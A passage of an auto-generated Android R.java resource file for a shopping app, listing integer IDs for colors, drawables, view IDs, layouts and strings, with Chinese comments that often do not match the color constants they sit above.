public static final int aliceblue=0x7f06002d;
/** 亚麻色
*/
public static final int antiquewhite=0x7f060023;
/** 中灰兰色
*/
public static final int aqua=0x7f060083;
/** 粟色
*/
public static final int aquamarine=0x7f060064;
/** 沙褐色
*/
public static final int azure=0x7f06002b;
/** 烟白色
*/
public static final int beige=0x7f060028;
/** 浅玫瑰色
*/
public static final int bisque=0x7f06000d;
/** 海军色
*/
public static final int black=0x7f060092;
/** 番木色
*/
public static final int blanchedalmond=0x7f06000b;
/** 暗绿色
*/
public static final int blue=0x7f06008e;
/** 暗红色
*/
public static final int blueviolet=0x7f06005c;
/** 暗灰色
*/
public static final int brown=0x7f060051;
/** 亮青色
*/
public static final int burlywood=0x7f060035;
/** 菊兰色
*/
public static final int cadetblue=0x7f060072;
/** 碧绿色
*/
public static final int chartreuse=0x7f060065;
/** 茶色
*/
public static final int chocolate=0x7f060040;
/** 暗桔黄色
*/
public static final int coral=0x7f060018;
/** 中绿色
*/
public static final int cornflowerblue=0x7f060071;
/** 柠檬绸色
*/
public static final int cornk=0x7f060007;
/** 淡灰色
*/
public static final int crimson=0x7f060038;
/** 浅绿色
*/
public static final int cyan=0x7f060084;
/** 中兰色
*/
public static final int darkblue=0x7f060090;
/** 深天蓝色
*/
public static final int darkcyan=0x7f06008a;
/** 中粉紫色
*/
public static final int darkgoldenrod=0x7f060048;
/** 亮蓝色
*/
public static final int darkgray=0x7f06004f;
/** 绿色
*/
public static final int darkgreen=0x7f06008d;
/** 暗灰色
*/
public static final int darkgrey=0x7f060050;
/** 银色
*/
public static final int darkkhaki=0x7f060045;
/** 重褐色
*/
public static final int darkmagenta=0x7f06005a;
/** 军兰色
*/
public static final int darkolivegreen=0x7f060073;
/** 亮肉色
*/
public static final int darkorange=0x7f060017;
/** 赭色
*/
public static final int darkorchid=0x7f060053;
/** 暗洋红
*/
public static final int darkred=0x7f06005b;
/** 紫罗兰色
*/
public static final int darksalmon=0x7f060032;
/** 亮绿色
*/
public static final int darkseagreen=0x7f060058;
/** 中绿宝石
*/
public static final int darkslateblue=0x7f060076;
/** 橙绿色
*/
public static final int darkslategray=0x7f06007c;
/** 暗瓦灰色
*/
public static final int darkslategrey=0x7f06007d;
/** 中春绿色
*/
public static final int darkturquoise=0x7f060088;
/** 苍绿色
*/
public static final int darkviolet=0x7f060055;
/** 红橙色
*/
public static final int deeppink=0x7f06001c;
/** 暗宝石绿
*/
public static final int deepskyblue=0x7f060089;
public static final int default_circle_indicator_fill_color=0x7f060098;
public static final int default_circle_indicator_page_color=0x7f060099;
public static final int default_circle_indicator_stroke_color=0x7f06009a;
/** 石蓝色
*/
public static final int dimgray=0x7f06006e;
/** 暗灰色
*/
public static final int dimgrey=0x7f06006f;
/** 亮海蓝色
*/
public static final int dodgerblue=0x7f060081;
/** 暗金黄色
*/
public static final int firebrick=0x7f060049;
/** 雪白色
*/
public static final int floralwhite=0x7f060005;
/** 海绿色
*/
public static final int forestgreen=0x7f06007f;
/** 深粉红色
*/
public static final int fuchsia=0x7f06001d;
/** 洋李色
*/
public static final int gainsboro=0x7f060037;
/** 鲜肉色
*/
public static final int ghostwhite=0x7f060025;
/** 桃色
*/
public static final int gold=0x7f060011;
/** 苍紫罗兰色
*/
public static final int goldenrod=0x7f06003a;
/** 金黄色
*/
public static final int goldyellow=0x7f060014;
/** 天蓝色
*/
public static final int gray=0x7f06005f;
/** 水鸭色
*/
public static final int green=0x7f06008c;
/** 苍宝石绿
*/
public static final int greenyellow=0x7f06004d;
/** 灰色
*/
public static final int grey=0x7f060060;
/** 天蓝色
*/
public static final int honeydew=0x7f06002c;
/** 珊瑚色
*/
public static final int hotpink=0x7f060019;
/** 秘鲁色
*/
public static final int indianred=0x7f060042;
/** 暗橄榄绿
*/
public static final int indigo=0x7f060074;
/** 白色
*/
public static final int ivory=0x7f060001;
/** 艾利斯兰
*/
public static final int khaki=0x7f06002e;
/** 暗肉色
*/
public static final int lavender=0x7f060033;
/** 海贝色
*/
public static final int lavenderblush=0x7f060009;
/** 黄绿色
*/
public static final int lawngreen=0x7f060066;
/** 花白色
*/
public static final int lemonchiffon=0x7f060006;
/** 黄绿色
*/
public static final int lightblue=0x7f06004e;
/** 黄褐色
*/
public static final int lightcoral=0x7f06002f;
/** 淡紫色
*/
public static final int lightcyan=0x7f060034;
/** 老花色
*/
public static final int lightgoldenrodyellow=0x7f060021;
/** 蓟色
*/
public static final int lightgray=0x7f06003d;
/** 中紫色
*/
public static final int lightgreen=0x7f060057;
/** 亮灰色
*/
public static final int lightgrey=0x7f06003e;
/** 粉红色
*/
public static final int lightpink=0x7f060013;
/** 橙色
*/
public static final int lightsalmon=0x7f060016;
/** 森林绿
*/
public static final int lightseagreen=0x7f060080;
/** 紫罗兰蓝色
*/
public static final int lightskyblue=0x7f06005d;
/** 中暗蓝色
*/
public static final int lightslategray=0x7f060068;
/** 亮蓝灰
*/
public static final int lightslategrey=0x7f060069;
/** 粉蓝色
*/
public static final int lightsteelblue=0x7f06004b;
/** 象牙色
*/
public static final int lightyellow=0x7f060002;
/** 春绿色
*/
public static final int lime=0x7f060086;
/** 中海蓝
*/
public static final int limegreen=0x7f06007b;
/** 透明
*/
public static final int limit_buy_border_bg=0x7f060094;
/** 亮金黄色
*/
public static final int linen=0x7f060022;
public static final int login_button=0x7f060097;
/** 紫红色
*/
public static final int magenta=0x7f06001e;
/** 紫色
*/
public static final int maroon=0x7f060063;
/** 暗灰色
*/
public static final int mediumaquamarine=0x7f060070;
/** 蓝色
*/
public static final int mediumblue=0x7f06008f;
/** 褐玫瑰红
*/
public static final int mediumorchid=0x7f060047;
/** 暗紫罗兰色
*/
public static final int mediumpurple=0x7f060056;
/** 青绿色
*/
public static final int mediumseagreen=0x7f06007a;
/** 草绿色
*/
public static final int mediumslateblue=0x7f060067;
/** 酸橙色
*/
public static final int mediumspringgreen=0x7f060087;
/** 靛青色
*/
public static final int mediumturquoise=0x7f060075;
/** 印第安红
*/
public static final int mediumvioletred=0x7f060043;
/** 闪兰色
*/
public static final int midnightblue=0x7f060082;
/** 幽灵白
*/
public static final int mintcream=0x7f060026;
/** 白杏色
*/
public static final int mistyrose=0x7f06000c;
/** 桔黄色
*/
public static final int moccasin=0x7f06000e;
/** 鹿皮色
*/
public static final int navajowhite=0x7f06000f;
/** 暗蓝色
*/
public static final int navy=0x7f060091;
/** 红色
*/
public static final int oldlace=0x7f060020;
/** 灰色
*/
public static final int olive=0x7f060061;
/** 灰石色
*/
public static final int olivedrab=0x7f06006c;
/** 亮粉红色
*/
public static final int orange=0x7f060015;
/** 西红柿色
*/
public static final int orangered=0x7f06001b;
/** 金麒麟色
*/
public static final int orchid=0x7f06003b;
/** 亮珊瑚色
*/
public static final int palegoldenrod=0x7f060030;
/** 暗紫色
*/
public static final int palegreen=0x7f060054;
/** 亮钢兰色
*/
public static final int paleturquoise=0x7f06004c;
/** 暗深红色
*/
public static final int palevioletred=0x7f060039;
/** 淡紫红
*/
public static final int papayawhip=0x7f06000a;
/** 纳瓦白
*/
public static final int peachpuff=0x7f060010;
/** 巧可力色
*/
public static final int peru=0x7f060041;
/** 金色
*/
public static final int pink=0x7f060012;
/** 实木色
*/
public static final int plum=0x7f060036;
/** 火砖色
*/
public static final int powderblue=0x7f06004a;
/** 橄榄色
*/
public static final int purple=0x7f060062;
/** 红紫色
*/
public static final int red=0x7f06001f;
/** 暗黄褐色
*/
public static final int rosybrown=0x7f060046;
/** 钢兰色
*/
public static final int royalblue=0x7f060078;
/** 暗海兰色
*/
public static final int saddlebrown=0x7f060059;
/** 古董白
*/
public static final int salmon=0x7f060024;
/** 浅黄色
*/
public static final int sandybrown=0x7f06002a;
/** 米绸色
*/
public static final int seaShell=0x7f060008;
/** 暗瓦灰色
*/
public static final int seagreen=0x7f06007e;
public static final int search_toolbar_bg=0x7f060095;
/** 褐色
*/
public static final int sienna=0x7f060052;
/** 中紫罗兰色
*/
public static final int silver=0x7f060044;
/** 亮天蓝色
*/
public static final int skyblue=0x7f06005e;
/** 深绿褐色
*/
public static final int slateblue=0x7f06006d;
/** 亮蓝灰
*/
public static final int slategray=0x7f06006a;
/** 灰石色
*/
public static final int slategrey=0x7f06006b;
/** 黄色
*/
public static final int snow=0x7f060004;
/** 青色
*/
public static final int springgreen=0x7f060085;
/** 暗灰蓝色
*/
public static final int steelblue=0x7f060077;
/** 亮灰色
*/
public static final int tan=0x7f06003f;
/** 暗青色
*/
public static final int teal=0x7f06008b;
/** 淡紫色
*/
public static final int thistle=0x7f06003c;
public static final int toast_color=0x7f060096;
/** 热粉红色
*/
public static final int tomato=0x7f06001a;
/** 黑色
*/
public static final int transparent=0x7f060093;
/** 皇家蓝
*/
public static final int turquoise=0x7f060079;
/** 苍麒麟色
*/
public static final int violet=0x7f060031;
/** 米色
*/
public static final int wheat=0x7f060029;
public static final int white=0x7f060000;
/** 薄荷色
*/
public static final int whitesmoke=0x7f060027;
/** 亮黄色
*/
public static final int yellow=0x7f060003;
}
public static final class dimen {
public static final int default_circle_indicator_radius=0x7f090000;
public static final int default_circle_indicator_stroke_width=0x7f090001;
/** 四类字体大小
首页Gallery高度
*/
public static final int index_gallery_height=0x7f090007;
public static final int large_text_size=0x7f090006;
public static final int medium_text_size=0x7f090005;
/** 四类字体大小
*/
public static final int micro_text_size=0x7f090002;
public static final int small_middle_text_size=0x7f090004;
public static final int small_text_size=0x7f090003;
}
public static final class drawable {
public static final int add_to_car_button_disabled=0x7f020000;
public static final int add_to_car_button_normal=0x7f020001;
public static final int add_to_car_button_press=0x7f020002;
public static final int android_activities_bg=0x7f020003;
public static final int android_activities_cur=0x7f020004;
public static final int android_activities_gap=0x7f020005;
public static final int android_home_shortcuts_item_bg=0x7f020006;
public static final int android_home_shortcuts_item_bg_focused=0x7f020007;
public static final int android_layout_bg=0x7f020008;
public static final int android_list_idex=0x7f020009;
public static final int android_list_idex_left=0x7f02000a;
public static final int android_login_checkbox_new=0x7f02000b;
public static final int android_login_checkbox_pressed_new=0x7f02000c;
public static final int android_my_easy_buy=0x7f02000d;
public static final int android_my_jd_account_safe=0x7f02000e;
public static final int android_my_jd_collects=0x7f02000f;
public static final int android_my_jd_discuss=0x7f020010;
public static final int android_my_jd_messages=0x7f020011;
public static final int android_my_jd_online_service=0x7f020012;
public static final int android_my_jd_orders=0x7f020013;
public static final int android_my_jd_return_repair=0x7f020014;
public static final int android_order_trace_info_more=0x7f020015;
public static final int android_personel_all_order=0x7f020016;
public static final int android_personel_quickly_order=0x7f020017;
public static final int android_personel_waitpay_order=0x7f020018;
public static final int android_search_button_icon=0x7f020019;
public static final int android_search_icon=0x7f02001a;
public static final int android_title_bg=0x7f02001b;
public static final int android_title_button_pressed=0x7f02001c;
public static final int android_title_r_button=0x7f02001d;
public static final int android_title_r_button_pressed=0x7f02001e;
public static final int app_home_item_bg=0x7f02001f;
public static final int app_home_item_miaosha_bg=0x7f020020;
public static final int app_home_shortcuts_button_selector=0x7f020021;
public static final int app_home_title_r_button_selector=0x7f020022;
public static final int app_icon_barcode=0x7f020023;
public static final int app_icon_camera=0x7f020024;
public static final int app_icon_color=0x7f020025;
public static final int app_icon_voice=0x7f020026;
public static final int app_limit_buy_begin=0x7f020027;
public static final int app_limit_buy_btn_begin=0x7f020028;
public static final int app_limit_buy_btn_immediately=0x7f020029;
public static final int app_limit_buy_btn_immediately_focused=0x7f02002a;
public static final int app_limit_buy_btn_immediately_selector=0x7f02002b;
public static final int app_limit_buy_cancel=0x7f02002c;
public static final int app_limit_buy_cancel_focused=0x7f02002d;
public static final int app_limit_buy_cancel_selector=0x7f02002e;
public static final int app_limit_buy_coming=0x7f02002f;
public static final int app_limit_buy_dialog_bottom_bg=0x7f020030;
public static final int app_limit_buy_gap=0x7f020031;
public static final int app_limit_buy_ok=0x7f020032;
public static final int app_limit_buy_ok_focused=0x7f020033;
public static final int app_limit_buy_ok_selector=0x7f020034;
public static final int app_limit_buy_sale=0x7f020035;
public static final int app_limit_buy_sale_bg=0x7f020036;
public static final int auto_clear_selector=0x7f020037;
public static final int background_corners=0x7f020038;
public static final int background_corners_limit_buy=0x7f020039;
public static final int background_corners_limit_buy_focused=0x7f02003a;
public static final int background_corners_limit_buy_selector=0x7f02003b;
public static final int btn_style_alert_dialog_button_pressed=0x7f02003c;
public static final int btn_style_alert_dialog_cancel=0x7f02003d;
public static final int btn_style_alert_dialog_cancel_normal=0x7f02003e;
public static final int btn_style_alert_dialog_special=0x7f02003f;
public static final int btn_style_alert_dialog_special_normal=0x7f020040;
public static final int btn_style_alert_dialog_special_pressed=0x7f020041;
public static final int btn_style_red=0x7f020042;
public static final int btn_style_zero_focused=0x7f020043;
public static final int btn_style_zero_normal=0x7f020044;
public static final int btn_style_zero_pressed=0x7f020045;
public static final int cart_btn_normal=0x7f020046;
public static final int cart_login_normal=0x7f020047;
public static final int cart_no_data_icon=0x7f020048;
public static final int category_selection_gridview_bg=0x7f020049;
public static final int catergory_appliance=0x7f02004a;
public static final int catergory_book=0x7f02004b;
public static final int catergory_cloth=0x7f02004c;
public static final int catergory_deskbook=0x7f02004d;
public static final int catergory_digtcamer=0x7f02004e;
public static final int catergory_furnitrue=0x7f02004f;
public static final int catergory_mobile=0x7f020050;
public static final int catergory_skincare=0x7f020051;
public static final int chat_btn_normal=0x7f020052;
public static final int clothing_0=0x7f020053;
public static final int clothing_01=0x7f020054;
public static final int clothing_0108=0x7f020055;
public static final int clothing_02=0x7f020056;
public static final int clothing_03=0x7f020057;
public static final int clothing_04=0x7f020058;
public static final int clothing_05=0x7f020059;
public static final int clothing_06=0x7f02005a;
public static final int clothing_10=0x7f02005b;
public static final int color_shopping_button_bg=0x7f02005c;
public static final int color_shopping_gap_line=0x7f02005d;
public static final int color_shopping_new=0x7f02005e;
public static final int edit_product_num_cancle_normal=0x7f02005f;
public static final int empty_cart_bg=0x7f020060;
public static final int empty_image=0x7f020061;
public static final int exit_dialog_bg=0x7f020062;
public static final int filter_spider_line=0x7f020063;
public static final int home_cursor_layout_bg=0x7f020064;
public static final int home_guide=0x7f020065;
public static final int home_logo=0x7f020066;
public static final int home_panicbuying_background=0x7f020067;
public static final int home_shopping_guang_icon=0x7f020068;
public static final int home_shopping_icon=0x7f020069;
public static final int home_slide_promotion=0x7f02006a;
public static final int home_tab_background_selector=0x7f02006b;
public static final int home_tab_cart_selector=0x7f02006c;
public static final int home_tab_category_selector=0x7f02006d;
public static final int home_tab_main_selector=0x7f02006e;
public static final int home_tab_personal_selector=0x7f02006f;
public static final int home_tab_search_selector=0x7f020070;
public static final int ic_launcher=0x7f020071;
public static final int image01=0x7f020072;
public static final int image02=0x7f020073;
public static final int image03=0x7f020074;
public static final int image04=0x7f020075;
public static final int image05=0x7f020076;
public static final int image06=0x7f020077;
public static final int image07=0x7f020078;
public static final int image08=0x7f020079;
public static final int image_left=0x7f02007a;
public static final int image_middle=0x7f02007b;
public static final int image_right=0x7f02007c;
public static final int index_gallery_01=0x7f02007d;
public static final int index_gallery_02=0x7f02007e;
public static final int index_gallery_03=0x7f02007f;
public static final int index_gallery_04=0x7f020080;
public static final int index_gallery_05=0x7f020081;
public static final int index_gallery_06=0x7f020082;
public static final int index_gallery_07=0x7f020083;
public static final int index_gallery_08=0x7f020084;
public static final int index_gallery_09=0x7f020085;
public static final int index_gallery_10=0x7f020086;
public static final int index_gallery_11=0x7f020087;
public static final int index_gallery_12=0x7f020088;
public static final int index_gallery_13=0x7f020089;
public static final int index_gallery_14=0x7f02008a;
public static final int joy_icon=0x7f02008b;
public static final int loading_1=0x7f02008c;
public static final int loading_10=0x7f02008d;
public static final int loading_11=0x7f02008e;
public static final int loading_12=0x7f02008f;
public static final int loading_2=0x7f020090;
public static final int loading_3=0x7f020091;
public static final int loading_4=0x7f020092;
public static final int loading_5=0x7f020093;
public static final int loading_6=0x7f020094;
public static final int loading_7=0x7f020095;
public static final int loading_8=0x7f020096;
public static final int loading_9=0x7f020097;
public static final int loading_animation=0x7f020098;
public static final int loading_back_bg=0x7f020099;
public static final int login_icon_account=0x7f02009a;
public static final int login_icon_password=0x7f02009b;
public static final int login_input=0x7f02009c;
public static final int login_register_bg=0x7f02009d;
public static final int login_switch=0x7f02009e;
public static final int login_switch_btn=0x7f02009f;
public static final int login_user_default_icon=0x7f0200a0;
public static final int login_user_icon_bg=0x7f0200a1;
public static final int lottery_bg=0x7f0200a2;
public static final int lottery_bottom=0x7f0200a3;
public static final int lottery_close=0x7f0200a4;
public static final int lottery_close_normal=0x7f0200a5;
public static final int lottery_close_pressed=0x7f0200a6;
public static final int lottery_head_1=0x7f0200a7;
public static final int lottery_head_2=0x7f0200a8;
public static final int lottery_nothing=0x7f0200a9;
public static final int lottery_result=0x7f0200aa;
public static final int lottery_something=0x7f0200ab;
public static final int main_bottom_tab_cart_focus=0x7f0200ac;
public static final int main_bottom_tab_cart_normal=0x7f0200ad;
public static final int main_bottom_tab_category_focus=0x7f0200ae;
public static final int main_bottom_tab_category_normal=0x7f0200af;
public static final int main_bottom_tab_home_focus=0x7f0200b0;
public static final int main_bottom_tab_home_normal=0x7f0200b1;
public static final int main_bottom_tab_personal_focus=0x7f0200b2;
public static final int main_bottom_tab_personal_normal=0x7f0200b3;
public static final int main_bottom_tab_search_focus=0x7f0200b4;
public static final int main_bottom_tab_search_normal=0x7f0200b5;
public static final int main_line=0x7f0200b6;
public static final int main_menu_about=0x7f0200b7;
public static final int main_menu_check_version=0x7f0200b8;
public static final int main_menu_exit=0x7f0200b9;
public static final int main_menu_feedback=0x7f0200ba;
public static final int main_menu_help=0x7f0200bb;
public static final int main_menu_history=0x7f0200bc;
public static final int main_menu_setup=0x7f0200bd;
public static final int main_navigation_background=0x7f0200be;
public static final int main_navigation_highlight_bg=0x7f0200bf;
public static final int miaosha=0x7f0200c0;
public static final int more_acitivity_item_selector_circle_corners=0x7f0200c1;
public static final int more_acitivity_item_selector_top_corners=0x7f0200c2;
public static final int more_activity_item_selector_bottom_corners=0x7f0200c3;
public static final int more_activity_item_selector_no_corners=0x7f0200c4;
public static final int more_jd_app_recommend=0x7f0200c5;
public static final int my_personal_click_login=0x7f0200c6;
public static final int my_personal_not_login_bg=0x7f0200c7;
public static final int no_image=0x7f0200c8;
public static final int personal_more_button_selector=0x7f0200c9;
public static final int quckly_register_btn_bg=0x7f0200ca;
public static final int quick_register_goregister_clicked=0x7f0200cb;
public static final int quick_register_headtab1=0x7f0200cc;
public static final int quick_register_toseeagreement=0x7f0200cd;
public static final int register_btn_bg=0x7f0200ce;
public static final int register_normal_bg=0x7f0200cf;
public static final int register_selection_submit_btn_bg_normal=0x7f0200d0;
public static final int register_selection_submit_btn_bg_pressed=0x7f0200d1;
public static final int search_box=0x7f0200d2;
public static final int search_clear_normal=0x7f0200d3;
public static final int search_clear_pressed=0x7f0200d4;
public static final int selector_checkbox=0x7f0200d5;
public static final int selector_toggle=0x7f0200d6;
public static final int shortcuts_icon_collect=0x7f0200d7;
public static final int shortcuts_icon_groupbuy=0x7f0200d8;
public static final int shortcuts_icon_history=0x7f0200d9;
public static final int shortcuts_icon_life_journey=0x7f0200da;
public static final int shortcuts_icon_lottery=0x7f0200db;
public static final int shortcuts_icon_order=0x7f0200dc;
public static final int shortcuts_icon_promotion=0x7f0200dd;
public static final int shortcuts_icon_recharge=0x7f0200de;
public static final int shortcuts_icon_shake=0x7f0200df;
public static final int shortcuts_icon_shake_hl=0x7f0200e0;
public static final int slector_shake=0x7f0200e1;
public static final int splash_bg=0x7f0200e2;
public static final int splash_loading_bg=0x7f0200e3;
public static final int splash_loading_item=0x7f0200e4;
public static final int splash_logo=0x7f0200e5;
public static final int switch_in_hide=0x7f0200e6;
public static final int switch_in_show=0x7f0200e7;
public static final int toast_bg=0x7f0200e8;
public static final int toast_icon=0x7f0200e9;
public static final int toright_arrow=0x7f0200ea;
}
public static final class id {
public static final int access_password=0x7f050071;
public static final int accordion=0x7f05000b;
public static final int bold=0x7f05000d;
public static final int btn_cancel=0x7f050086;
public static final int btn_exit=0x7f050085;
public static final int cart=0x7f050015;
public static final int cart_login=0x7f050013;
public static final int cart_market=0x7f050016;
public static final int catergory_image=0x7f050018;
public static final int catergory_listview=0x7f050017;
public static final int catergoryitem_content=0x7f05001b;
public static final int catergoryitem_title=0x7f05001a;
public static final int checkBox=0x7f050070;
public static final int color_shopping_btn=0x7f050080;
public static final int cubein=0x7f050002;
public static final int cubeout=0x7f050003;
public static final int edit_mobile=0x7f05006f;
public static final int exit_dialog=0x7f050083;
public static final int find_password=0x7f05004b;
public static final int fliphorizontal=0x7f050005;
public static final int flipvertical=0x7f050004;
public static final int home_radio_button_group=0x7f05001c;
public static final int home_tab_cart=0x7f050020;
public static final int home_tab_category=0x7f05001f;
public static final int home_tab_main=0x7f05001d;
public static final int home_tab_personal=0x7f050021;
public static final int home_tab_search=0x7f05001e;
public static final int id_more_scrollview=0x7f05003b;
public static final int id_title=0x7f050012;
public static final int image_aboutus=0x7f050059;
public static final int image_exit=0x7f05005d;
public static final int image_help=0x7f050055;
public static final int image_history=0x7f050051;
public static final int image_opinion=0x7f050057;
public static final int image_seting=0x7f050053;
public static final int image_update=0x7f05005b;
public static final int imgmiddle=0x7f050079;
public static final int imgnoth=0x7f050077;
public static final int imgtit=0x7f050078;
public static final int index_clothingcity_gallery=0x7f05003c;
public static final int index_collect_btn=0x7f050038;
public static final int index_gallery_item_image=0x7f05003e;
public static final int index_gallery_item_text=0x7f05003f;
public static final int index_groupbuy_btn=0x7f050033;
public static final int index_history_btn=0x7f050036;
public static final int index_jingqiu_gallery=0x7f050039;
public static final int index_list_arrow=0x7f050030;
public static final int index_lottery_btn=0x7f050034;
public static final int index_miaosha_discount_icon=0x7f05002a;
public static final int index_miaosha_hour=0x7f05002b;
public static final int index_miaosha_image=0x7f050029;
public static final int index_miaosha_image_layout=0x7f050028;
public static final int index_miaosha_min=0x7f05002c;
public static final int index_miaosha_price=0x7f05002e;
public static final int index_miaosha_raw_price=0x7f05002f;
public static final int index_miaosha_seconds=0x7f05002d;
public static final int index_order_btn=0x7f050035;
public static final int index_product_images_container=0x7f050026;
public static final int index_product_images_indicator=0x7f050027;
public static final int index_promotion_btn=0x7f050031;
public static final int index_recharge_btn=0x7f050032;
public static final int index_search_button=0x7f050025;
public static final int index_search_edit=0x7f050024;
public static final int index_shake=0x7f050037;
public static final int index_tehui_gallery=0x7f05003a;
public static final int index_top_layout=0x7f050022;
public static final int index_top_logo=0x7f050023;
public static final int isShowPassword=0x7f050048;
public static final int italic=0x7f05000e;
public static final int layout_cart=0x7f050014;
public static final int layout_login=0x7f050041;
public static final int layout_login_userinfo=0x7f05004a;
public static final int layout_personal=0x7f05005e;
public static final int list_clothingcity=0x7f05003d;
public static final int login=0x7f050049;
public static final int login_more=0x7f050045;
public static final int login_otherpassword=0x7f05004c;
public static final int loginaccount=0x7f050044;
public static final int loginpassword=0x7f050047;
public static final int logo=0x7f050042;
public static final int main_container=0x7f05004e;
public static final int main_indicator=0x7f05004f;
public static final int menu_about=0x7f05008b;
public static final int menu_exit=0x7f05008c;
public static final int menu_feedback=0x7f050089;
public static final int menu_help=0x7f05008a;
public static final int menu_history=0x7f050088;
public static final int menu_setting=0x7f050087;
public static final int monospace=0x7f050011;
public static final int more_aboutus=0x7f050058;
public static final int more_exit=0x7f05005c;
public static final int more_help=0x7f050054;
public static final int more_history=0x7f050050;
public static final int more_opinion=0x7f050056;
public static final int more_seting=0x7f050052;
public static final int more_update=0x7f05005a;
public static final int normal=0x7f05000c;
public static final int personal_background_image=0x7f050060;
public static final int personal_exit=0x7f05006e;
public static final int personal_icon_01=0x7f050063;
public static final int personal_icon_02=0x7f050064;
public static final int personal_icon_03=0x7f050065;
public static final int personal_icon_04=0x7f050066;
public static final int personal_icon_05=0x7f050067;
public static final int personal_icon_06=0x7f050068;
public static final int personal_icon_07=0x7f050069;
public static final int personal_icon_08=0x7f05006a;
public static final int personal_icon_09=0x7f05006b;
public static final int personal_icon_10=0x7f05006c;
public static final int personal_login_button=0x7f050062;
public static final int personal_more_button=0x7f05005f;
public static final int personal_scrollView=0x7f050061;
public static final int personal_service=0x7f05006d;
public static final int personal_top_layout=0x7f050040;
public static final int pop_layout=0x7f050084;
public static final int register=0x7f05004d;
public static final int register_mormal=0x7f050072;
public static final int relativeLayout=0x7f050019;
public static final int relativeLayout1=0x7f05007c;
public static final int rotatedown=0x7f05000a;
public static final int rotateup=0x7f050009;
public static final int sans=0x7f05000f;
public static final int search_barcode_btn=0x7f05007e;
public static final int search_button=0x7f050075;
public static final int search_camera_btn=0x7f05007f;
public static final int search_edit=0x7f050074;
public static final int search_list=0x7f050076;
public static final int search_top_layout=0x7f050073;
public static final int serif=0x7f050010;
public static final int shakeback=0x7f05007a;
public static final int splash_loading_item=0x7f05007d;
public static final int splash_logo=0x7f05007b;
public static final int stack=0x7f050006;
public static final int standard=0x7f050000;
public static final int tablet=0x7f050001;
public static final int toast_icon=0x7f050081;
public static final int toast_message=0x7f050082;
public static final int tv_loginaccount=0x7f050043;
public static final int tv_loginpassword=0x7f050046;
public static final int zoomin=0x7f050007;
public static final int zoomout=0x7f050008;
}
public static final class integer {
public static final int default_circle_indicator_orientation=0x7f080000;
}
public static final class layout {
public static final int activity_cart=0x7f030000;
public static final int activity_category=0x7f030001;
public static final int activity_category_item=0x7f030002;
public static final int activity_clothes=0x7f030003;
public static final int activity_digital=0x7f030004;
public static final int activity_home=0x7f030005;
public static final int activity_index=0x7f030006;
public static final int activity_index_clothingcity=0x7f030007;
public static final int activity_index_daily=0x7f030008;
public static final int activity_index_digital=0x7f030009;
public static final int activity_index_ebooks=0x7f03000a;
public static final int activity_index_gallery_item=0x7f03000b;
public static final int activity_login=0x7f03000c;
public static final int activity_main=0x7f03000d;
public static final int activity_model=0x7f03000e;
public static final int activity_more=0x7f03000f;
public static final int activity_personal=0x7f030010;
public static final int activity_register=0x7f030011;
public static final int activity_register_normal=0x7f030012;
public static final int activity_search=0x7f030013;
public static final int activity_shake=0x7f030014;
public static final int activity_splash=0x7f030015;
public static final int app_search_toolbar_button=0x7f030016;
public static final int custom_toast=0x7f030017;
public static final int exit_dialog_from_settings=0x7f030018;
}
public static final class menu {
public static final int activity_menu=0x7f0d0000;
}
public static final class string {
public static final int app_name=0x7f0a0000;
/** 菜单
首页PopupWnidow
*/
public static final int barcode_buy=0x7f0a0009;
public static final int camera_buy=0x7f0a000a;
/** 购物车
*/
public static final int cart=0x7f0a003f;
public static final int cart_logininfo=0x7f0a0042;
public static final int cart_market=0x7f0a0043;
public static final int cartinfo_no=0x7f0a0040;
public static final int cartinfo_synchronous=0x7f0a0041;
/** 首页
商品分类
*/
public static final int category=0x7f0a001f;
/** 导航栏的其他的标题和其他
*/
public static final int clothingcity=0x7f0a0058;
public static final int color_buy=0x7f0a000b;
public static final int daily=0x7f0a005c;
public static final int digital=0x7f0a005a;
public static final int ebook=0x7f0a005b;
public static final int find_password=0x7f0a003c;
public static final int hotproduct=0x7f0a0059;
public static final int index_collect=0x7f0a001a;
public static final int index_group_buy=0x7f0a0015;
public static final int index_history=0x7f0a0019;
public static final int index_hour=0x7f0a000d;
public static final int index_life_journey=0x7f0a001b;
/** 首页PopupWnidow
首页
*/
public static final int index_limit=0x7f0a000c;
public static final int index_lottery=0x7f0a0016;
public static final int index_min=0x7f0a000e;
public static final int index_notify_info=0x7f0a001c;
public static final int index_order=0x7f0a0018;
public static final int index_price=0x7f0a0010;
public static final int index_promotion=0x7f0a0013;
public static final int index_raw_price=0x7f0a0011;
public static final int index_recharge=0x7f0a0014;
public static final int index_search_edit_hint=0x7f0a0002;
public static final int index_seconds=0x7f0a000f;
public static final int index_shake=0x7f0a0017;
public static final int index_shopping_jinqiufengbao=0x7f0a001d;
public static final int index_shopping_remenyouhui=0x7f0a001e;
public static final int index_slogan=0x7f0a0012;
public static final int inputaccount=0x7f0a0038;
public static final int inputpassword=0x7f0a0037;
/** 个人中心
登陆界面
*/
public static final int login=0x7f0a0034;
public static final int login_btn=0x7f0a003b;
public static final int loginacount=0x7f0a0035;
public static final int loginpassword=0x7f0a0036;
public static final int menu_about=0x7f0a0007;
public static final int menu_exit=0x7f0a0008;
public static final int menu_feedback=0x7f0a0005;
public static final int menu_help=0x7f0a0006;
public static final int menu_history=0x7f0a0004;
/** 菜单
*/
public static final int menu_setting=0x7f0a0003;
/** 更多
*/
public static final int more=0x7f0a0044;
public static final int more_aboutus=0x7f0a0049;
public static final int more_apps=0x7f0a004c;
public static final int more_exit=0x7f0a004b;
public static final int more_help=0x7f0a0047;
public static final int more_history=0x7f0a0045;
public static final int more_opinion=0x7f0a0048;
public static final int more_seting=0x7f0a0046;
public static final int more_update=0x7f0a004a;
public static final int personal_account=0x7f0a002b;
public static final int personal_account_center=0x7f0a002e;
public static final int personal_all_order=0x7f0a0026;
public static final int personal_comment=0x7f0a0028;
public static final int personal_customer_service=0x7f0a002f;
public static final int personal_fast_search=0x7f0a0024;
public static final int personal_favour=0x7f0a0031;
public static final int personal_favour_introduce=0x7f0a0032;
public static final int personal_infomation_service=0x7f0a0030;
public static final int personal_information=0x7f0a0029;
public static final int personal_login=0x7f0a0023;
public static final int personal_more=0x7f0a0021;
public static final int personal_my_focus=0x7f0a0027;
public static final int personal_order_center=0x7f0a002d;
public static final int personal_quick_buy=0x7f0a002a;
public static final int personal_quit=0x7f0a0033;
public static final int personal_return_back=0x7f0a002c;
/** 个人中心
*/
public static final int personal_title=0x7f0a0020;
public static final int personal_wait_pay=0x7f0a0025;
public static final int personal_welcome=0x7f0a0022;
public static final int register=0x7f0a0039;
public static final int register_in_normal=0x7f0a004f;
public static final int register_normal_email=0x7f0a0052;
